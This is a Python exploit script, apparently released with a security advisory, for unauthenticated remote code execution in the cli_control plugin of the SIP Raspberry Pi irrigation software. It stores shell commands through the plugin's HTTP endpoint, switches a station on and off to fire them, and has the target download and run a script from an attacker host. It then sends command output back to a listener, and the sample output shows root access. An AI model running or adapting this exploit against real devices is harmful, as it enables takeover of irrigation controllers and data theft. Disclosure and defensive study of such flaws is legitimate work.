#!/usr/bin/env python3 # # # SIP Sustainable Irrigation Platform 5.x (cli_control) Remote Code Execution # # # Vendor: Dan-in-CA # Product web page: https://github.com/Dan-in-CA/SIP # Affected version: 5.2.16 # # Summary: SIP is a free Raspberry Pi based Python program for # controlling irrigation systems (sprinkler, drip, hydroponic, # etc). It uses web technology to provide an intuitive user # interface (UI) in several languages. The UI can be accessed # in your favorite browser on desktop, laptop, and mobile devices. # SIP has also been used to control pumps, lights, and other Irrigation # related equipment. # # Desc: SIP executes user-configured operating-system commands # when an irrigation station changes state, if the optional cli_control # plugin is installed and enabled. This can be exploited to run # arbitrary commands on the affected host by storing a command # through the plugin's HTTP endpoint and then activating the associated # station. When the optional passphrase is not enabled (factory # default) both steps require no authentication, and where the # passphrase is enabled it defaults to 'opendoor' and the same # result is reachable through cross-site request forgery. # # ------------------------------------------------------------------------- # $ python sip_rce.py 192.168.1.9 192.168.2.33 9000 "id ; uname -a" # === SIP cli_control RCE PoC :: TARGET=http://192.168.1.9 ATTACKER=192.168.2.33:9000 === # [*] cli_control present (/clicj -> HTTP 200) # [*] con0 = curl http://192.168.2.33:9000/x.sh -o /tmp/.sipx # [*] coff0 = sh /tmp/.sipx # [*] serving /x.sh (91 bytes); shell output -> /out # 1) save (/clicu) -> HTTP 303 (Location: http://192.168.1.9/restart) # 2) manual mode (/cv?mm=1) -> HTTP 303 # 3) station 0 ON (/sn) -> con0 fires (HTTP 303) # 3b) station 0 OFF (/sn) -> coff0 fires (HTTP 303) # 4) waiting for the timing loop to actuate + run the command(s) ... # # [+] RCE successful -- cli_control executed your command(s); inbound on our listener: # 2026-07-02T23:20:01.194422 GET /x.sh from=192.168.1.9 ua='curl/7.74.0' # 2026-07-02T23:20:05.411800 POST /out from=192.168.1.9 ua='curl/7.74.0' # body[125 bytes]= # # uid=0(root) gid=0(root) groups=0(root) # Linux sip 6.1.21-v8+ #1642 SMP PREEMPT Mon Apr 3 17:24:16 BST 2023 aarch64 GNU/Linux # # # Done. # # ------------------------------------------------------------------------- # # Tested on: Debian GNU/Linux 11 (bullseye) raspberrypi 6.1.21+ (armv6l/aarch64) # Python 3.9.2 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2026-5999 # Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5999 # # # 24.06.2026 # from http.server import BaseHTTPRequestHandler, HTTPServer import urllib.parse import http.client import threading import datetime import time import ssl import sys def ban(): print(""" . . . . . . . . . . . . . . .""") if len(sys.argv) < 3: ban() print("usage: python sip_rce.py [aport] [command]\n" " SIP ip/host or ip/host:port (http:// or https:// optional)\n" " ip/host phone home\n" " [aport] local listener port (default 9000)\n" " [command] run this with a shell on the target and exfil its output;\n" " omit for a simple curl canary that just proves execution\n" "example:\n" " python sip_rce.py 2.2.2.2:8083 7.7.7.7 9000\n" " python sip_rce.py 2.2.2.2:8083 7.7.7.7 9000 \"id; uname -a; cat /home/pi/SIP/data/sd.json\"") sys.exit(1) TARGET = sys.argv[1] ATTACKER = sys.argv[2] APORT = int(sys.argv[3]) if len(sys.argv) > 3 else 9000 SHELL = sys.argv[4] if len(sys.argv) > 4 else None SCHEME = "http" if TARGET.startswith("https://"): SCHEME, TARGET = "https", TARGET[8:] elif TARGET.startswith("http://"): SCHEME, TARGET = "http", TARGET[7:] TARGET = TARGET.strip("/") STATIONS = 16 MARK = "clic-zsl-rce-%d" % int(time.time()) HITS = [] SCRIPT = None class Handler(BaseHTTPRequestHandler): def _go(self, m): n = int(self.headers.get("Content-Length", 0) or 0) body = self.rfile.read(n).decode("utf-8", "replace") if n else "" line = "%s %s %s from=%s ua=%r" % (datetime.datetime.now().isoformat(), m, self.path, self.client_address[0], self.headers.get("User-Agent", "")) if body: # cmd output, oob line += "\n body[%d bytes]=\n\n%s" % (len(body), body[:4000]) HITS.append(line) data = SCRIPT if (m == "GET" and SCRIPT is not None and self.path.split("?")[0] == "/x.sh") else b"ok" self.send_response(200); self.send_header("Content-Length", str(len(data))); self.end_headers(); self.wfile.write(data) def do_GET(self): self._go("GET") def do_POST(self): self._go("POST") def log_message(self, *a): pass def listen(port): try: srv = HTTPServer(("0.0.0.0", port), Handler) except OSError as e: raise SystemExit("[!] cannot bind 0.0.0.0:%d - %s" % (port, e)) threading.Thread(target=srv.serve_forever, daemon=True).start() def req(method, path): host, _, port = TARGET.partition(":") port = int(port) if port else (443 if SCHEME == "https" else 80) if SCHEME == "https": c = http.client.HTTPSConnection(host, port, timeout=15, context=ssl._create_unverified_context()) else: c = http.client.HTTPConnection(host, port, timeout=15) c.request(method, path) r = c.getresponse(); body = r.read(); loc = r.getheader("Location", ""); c.close() return r.status, loc, body def main(): global SCRIPT base = "%s://%s" % (SCHEME, TARGET) print("=== SIP cli_control RCE PoC :: TARGET=%s ATTACKER=%s:%d ===" % (base, ATTACKER, APORT)) # Check cli_control s, loc, body = req("GET", "/clicj") if s == 404: raise SystemExit("[!] /clicj -> 404 : cli_control plugin not installed/enabled on target.") if s in (302, 303) and "login" in loc.lower(): raise SystemExit("[!] /clicj -> redirect to login : a passphrase is set (upas=1). This PoC is unauth case.") print("[*] cli_control present (/clicj -> HTTP %d)" % s) if SHELL: SCRIPT = ("#!/bin/sh\n( %s ) 2>&1 | curl -s --data-binary @- %s://%s:%d/out\n" % (SHELL, SCHEME, ATTACKER, APORT)).encode() con0 = "curl %s://%s:%d/x.sh -o /tmp/.sipx" % (SCHEME, ATTACKER, APORT) coff0 = "sh /tmp/.sipx" else: con0 = "curl %s://%s:%d/%s" % (SCHEME, ATTACKER, APORT, MARK) coff0 = None listen(APORT) print("[*] con0 = %s" % con0) if coff0: print("[*] coff0 = %s" % coff0) if SCRIPT: print("[*] serving /x.sh (%d bytes); shell output -> /out" % len(SCRIPT)) params = ["con0=" + urllib.parse.quote(con0, safe="")] params += ["con%d=" % i for i in range(1, STATIONS)] params += ["coff0=" + urllib.parse.quote(coff0 or "", safe="")] params += ["coff%d=" % i for i in range(1, STATIONS)] s, loc, _ = req("GET", "/clicu?" + "&".join(params)) print(" 1) save (/clicu) -> HTTP %d (Location: %s)" % (s, loc or "-")) if s in (302, 303) and "login" in loc.lower(): raise SystemExit("[!] /clicu redirected to login -> passphrase is set - not unauth.") s, _, _ = req("GET", "/cv?mm=1"); print(" 2) manual mode (/cv?mm=1) -> HTTP %d" % s) s, _, _ = req("GET", "/sn?sid=1&set_to=1"); print(" 3) station 0 ON (/sn) -> con0 fires (HTTP %d)" % s) if coff0: time.sleep(3) s, _, _ = req("GET", "/sn?sid=1&set_to=0"); print(" 3b) station 0 OFF (/sn) -> coff0 fires (HTTP %d)" % s) custom = bool(coff0 or SCRIPT) print(" 4) waiting for the timing loop to actuate + run the command(s) ...") sel = lambda: HITS if custom else [h for h in HITS if MARK in h] for _ in range(10): time.sleep(1) if sel() and not coff0: break hits = sel() if hits: print("\n[+] RCE successful -- cli_control executed your command(s); inbound on our listener:") for h in hits: print(" " + h) else: print("\n[-] no callback to our listener. checklist: %s:%d reachable from target? binaries present " "(curl/sh)? station 0 energized (system enabled, not rain-delayed)?" % (ATTACKER, APORT)) print("\nDone.") if __name__ == "__main__": main()